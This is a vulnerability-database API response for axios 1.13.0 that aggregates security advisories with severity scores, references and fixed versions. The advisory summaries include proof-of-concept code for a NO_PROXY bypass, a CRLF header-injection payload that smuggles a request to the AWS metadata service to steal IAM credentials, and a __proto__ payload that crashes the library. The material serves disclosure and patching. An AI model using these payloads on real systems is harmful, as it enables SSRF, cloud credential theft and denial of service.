Package Instance
Lookup for vulnerable packages by Package URL.
GET /api/packages/906410?format=api
{ "url": "http://public2.vulnerablecode.io/api/packages/906410?format=api", "purl": "pkg:npm/axios@1.13.0", "type": "npm", "namespace": "", "name": "axios", "version": "1.13.0", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "1.15.0", "latest_non_vulnerable_version": "1.15.2", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/351040?format=api", "vulnerability_id": "VCID-axk7-6q4b-vuga", "summary": "Axios has a NO_PROXY Hostname Normalization Bypass Leads to SSRF\nAxios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 §3.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 §3.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) => {\n console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n res.end(\"proxied\");\n}).listen(proxyPort, () => console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n try {\n await axios.get(url, { timeout: 2000 });\n } catch {}\n}\n\nsetTimeout(async () => {\n console.log(\"\\n[*] Testing http://localhost.:8080/\");\n await test(\"http://localhost.:8080/\"); // goes through proxy\n\n console.log(\"\\n[*] Testing http://[::1]:8080/\");\n await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n * Force Axios to send local traffic through an attacker-controlled proxy.\n * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n * Potentially exfiltrate sensitive responses from internal services via the proxy.\n \n \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios’ current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-62718.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.0", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-62718.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-62718", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00015", "scoring_system": "epss", "scoring_elements": "0.0334", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00015", "scoring_system": "epss", "scoring_elements": "0.03312", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00015", "scoring_system": "epss", "scoring_elements": "0.0329", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00034", "scoring_system": "epss", "scoring_elements": "0.09709", "published_at": "2026-04-16T12:55:00Z" }, { "value": "0.00034", "scoring_system": "epss", "scoring_elements": "0.09679", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00035", "scoring_system": "epss", "scoring_elements": "0.10437", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00035", "scoring_system": "epss", "scoring_elements": "0.10371", "published_at": "2026-04-29T12:55:00Z" }, { "value": "0.00035", "scoring_system": "epss", "scoring_elements": "0.10426", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00041", "scoring_system": "epss", "scoring_elements": "0.12512", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00043", "scoring_system": "epss", "scoring_elements": "0.12953", "published_at": "2026-05-05T12:55:00Z" }, { "value": "0.00043", "scoring_system": "epss", "scoring_elements": "0.13186", "published_at": "2026-05-09T12:55:00Z" }, { "value": "0.00043", "scoring_system": "epss", "scoring_elements": "0.13105", "published_at": "2026-05-07T12:55:00Z" }, { "value": "0.00045", "scoring_system": "epss", "scoring_elements": "0.13845", "published_at": "2026-05-14T12:55:00Z" }, { "value": "0.00047", "scoring_system": "epss", "scoring_elements": "0.14475", "published_at": "2026-05-12T12:55:00Z" }, { "value": "0.00047", "scoring_system": "epss", "scoring_elements": "0.14433", "published_at": "2026-05-11T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-62718" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-62718", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-62718" }, { "reference_url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1" }, { "reference_url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/axios/axios", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/axios/axios" }, { "reference_url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c" }, { "reference_url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df" }, { "reference_url": "https://github.com/axios/axios/pull/10661", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://github.com/axios/axios/pull/10661" }, { "reference_url": "https://github.com/axios/axios/pull/10688", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://github.com/axios/axios/pull/10688" }, { "reference_url": "https://github.com/axios/axios/releases/tag/v0.31.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://github.com/axios/axios/releases/tag/v0.31.0" }, { "reference_url": "https://github.com/axios/axios/releases/tag/v1.15.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://github.com/axios/axios/releases/tag/v1.15.0" }, { "reference_url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-09T15:02:50Z/" } ], "url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718", "reference_id": "", "reference_type": "", "scores": [ { "value": "4.8", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "value": "6.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N" }, { "value": "9.3", "scoring_system": "cvssv4", "scoring_elements": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L" }, { "value": "CRITICAL", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456913", "reference_id": "2456913", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2456913" }, { "reference_url": "https://github.com/advisories/GHSA-3p68-rc4w-qgx5", "reference_id": "GHSA-3p68-rc4w-qgx5", "reference_type": "", "scores": [ { "value": "CRITICAL", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-3p68-rc4w-qgx5" }, { "reference_url": "https://access.redhat.com/errata/RHSA-2026:10175", "reference_id": "RHSA-2026:10175", "reference_type": "", "scores": [], "url": "https://access.redhat.com/errata/RHSA-2026:10175" }, { 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"https://access.redhat.com/errata/RHSA-2026:9742" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/1059871?format=api", "purl": "pkg:npm/axios@1.15.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/axios@1.15.0" } ], "aliases": [ "CVE-2025-62718", "GHSA-3p68-rc4w-qgx5" ], "risk_score": 4.5, "exploitability": "0.5", "weighted_severity": "9.0", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-axk7-6q4b-vuga" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/351355?format=api", "vulnerability_id": "VCID-ek49-tuj4-t3ap", "summary": "Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n# Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain\n\n## Summary\nThe Axios library is vulnerable to a specific \"Gadget\" attack chain that allows **Prototype Pollution** in any third-party dependency to be escalated into **Remote Code Execution (RCE)** or **Full Cloud Compromise** (via AWS IMDSv2 bypass).\n\nWhile Axios patches exist for *preventing check* pollution, the library remains vulnerable to *being used* as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.\n\n**Severity**: Critical (CVSS 9.9)\n**Affected Versions**: All versions (v0.x - v1.x)\n**Vulnerable Component**: `lib/adapters/http.js` (Header Processing)\n\n## Usage of \"Helper\" Vulnerabilities\nThis vulnerability is unique because it requires **Zero Direct User Input**.\nIf an attacker can pollute `Object.prototype` via *any* other library in the stack (e.g., `qs`, `minimist`, `ini`, `body-parser`), Axios will automatically pick up the polluted properties during its config merge.\n\nBecause Axios does not sanitise these merged header values for CRLF (`\\r\\n`) characters, the polluted property becomes a **Request Smuggling** payload.\n\n## Proof of Concept\n\n### 1. The Setup (Simulated Pollution)\nImagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:\n```javascript\nObject.prototype['x-amz-target'] = \"dummy\\r\\n\\r\\nPUT /latest/api/token HTTP/1.1\\r\\nHost: 169.254.169.254\\r\\nX-aws-ec2-metadata-token-ttl-seconds: 21600\\r\\n\\r\\nGET /ignore\";\n```\n\n### 2. The Gadget Trigger (Safe Code)\nThe application makes a completely safe, hardcoded request:\n```javascript\n// This looks safe to the developer\nawait axios.get('https://analytics.internal/pings'); \n```\n\n### 3. The Execution\nAxios merges the prototype property `x-amz-target` into the request headers. It then writes the header value directly to the socket without validation.\n\n**Resulting HTTP traffic:**\n```http\nGET /pings HTTP/1.1\nHost: analytics.internal\nx-amz-target: dummy\n\nPUT /latest/api/token HTTP/1.1\nHost: 169.254.169.254\nX-aws-ec2-metadata-token-ttl-seconds: 21600\n\nGET /ignore HTTP/1.1\n...\n```\n\n### 4. The Impact (IMDSv2 Bypass)\nThe \"Smuggled\" second request is a valid `PUT` request to the AWS Metadata Service. It includes the required `X-aws-ec2-metadata-token-ttl-seconds` header (which a normal SSRF cannot send).\nThe Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.\n\n## Impact Analysis\n- **Security Control Bypass**: Defeats AWS IMDSv2 (Session Tokens).\n- **Authentication Bypass**: Can inject headers (`Cookie`, `Authorization`) to pivot into internal administrative panels.\n- **Cache Poisoning**: Can inject `Host` headers to poison shared caches.\n\n## Recommended Fix\nValidate all header values in `lib/adapters/http.js` and `xhr.js` before passing them to the underlying request function.\n\n**Patch Suggestion:**\n```javascript\n// In lib/adapters/http.js\nutils.forEach(requestHeaders, function setRequestHeader(val, key) {\n if (/[\\r\\n]/.test(val)) {\n throw new Error('Security: Header value contains invalid characters');\n }\n // ... proceed to set header\n});\n```\n\n## References\n- **OWASP**: CRLF Injection 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"scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39865" }, { "reference_url": "https://github.com/advisories/GHSA-qj83-cq47-w5f8", "reference_id": "GHSA-qj83-cq47-w5f8", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-qj83-cq47-w5f8" }, { "reference_url": "https://github.com/axios/axios/security/advisories/GHSA-qj83-cq47-w5f8", "reference_id": "GHSA-qj83-cq47-w5f8", "reference_type": "", "scores": [ { "value": "5.9", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T16:05:44Z/" } ], "url": "https://github.com/axios/axios/security/advisories/GHSA-qj83-cq47-w5f8" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/906412?format=api", "purl": "pkg:npm/axios@1.13.2", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-axk7-6q4b-vuga" }, { "vulnerability": "VCID-ek49-tuj4-t3ap" }, { "vulnerability": "VCID-x41s-g5mh-pkdq" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/axios@1.13.2" } ], "aliases": [ "CVE-2026-39865", "GHSA-qj83-cq47-w5f8" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kgnf-z6ca-tqgp" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/20921?format=api", "vulnerability_id": "VCID-x41s-g5mh-pkdq", "summary": "Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig\n# Denial of Service via **proto** Key in mergeConfig\n\n### Summary\n\nThe `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service.\n\n### Details\n\nThe vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101:\n\n```javascript\nutils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {\n const merge = mergeMap[prop] || mergeDeepProperties;\n const configValue = merge(config1[prop], config2[prop], prop);\n (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);\n});\n```\n\nWhen `prop` is `'__proto__'`:\n\n1. `JSON.parse('{\"__proto__\": {...}}')` creates an object with `__proto__` as an own enumerable property\n2. `Object.keys()` includes `'__proto__'` in the iteration\n3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object)\n4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype`\n5. `Object.prototype(...)` throws `TypeError: merge is not a function`\n\nThe `mergeConfig` function is called by:\n\n- `Axios._request()` at `lib/core/Axios.js:75`\n- `Axios.getUri()` at `lib/core/Axios.js:201`\n- All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224`\n\n### PoC\n\n```javascript\nimport axios from \"axios\";\n\nconst maliciousConfig = JSON.parse('{\"__proto__\": {\"x\": 1}}');\nawait axios.get(\"https://httpbin.org/get\", maliciousConfig);\n```\n\n**Reproduction steps:**\n\n1. Clone axios repository or `npm install axios`\n2. Create file `poc.mjs` with the code above\n3. Run: `node poc.mjs`\n4. Observe the TypeError crash\n\n**Verified output (axios 1.13.4):**\n\n```\nTypeError: merge is not a function\n at computeConfigValue (lib/core/mergeConfig.js:100:25)\n at Object.forEach (lib/utils.js:280:10)\n at mergeConfig (lib/core/mergeConfig.js:98:9)\n```\n\n**Control tests performed:**\n| Test | Config | Result |\n|------|--------|--------|\n| Normal config | `{\"timeout\": 5000}` | SUCCESS |\n| Malicious config | `JSON.parse('{\"__proto__\": {\"x\": 1}}')` | **CRASH** |\n| Nested object | `{\"headers\": {\"X-Test\": \"value\"}}` | SUCCESS |\n\n**Attack scenario:**\nAn application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{\"__proto__\": {\"x\": 1}}`.\n\n### Impact\n\n**Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.\n\nAffected environments:\n\n- Node.js servers using axios for HTTP requests\n- Any backend that passes parsed JSON to axios configuration\n\nThis is NOT prototype pollution - the application crashes before any assignment occurs.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25639.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25639.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25639", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00051", "scoring_system": "epss", "scoring_elements": "0.1582", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00051", "scoring_system": "epss", "scoring_elements": "0.1594", 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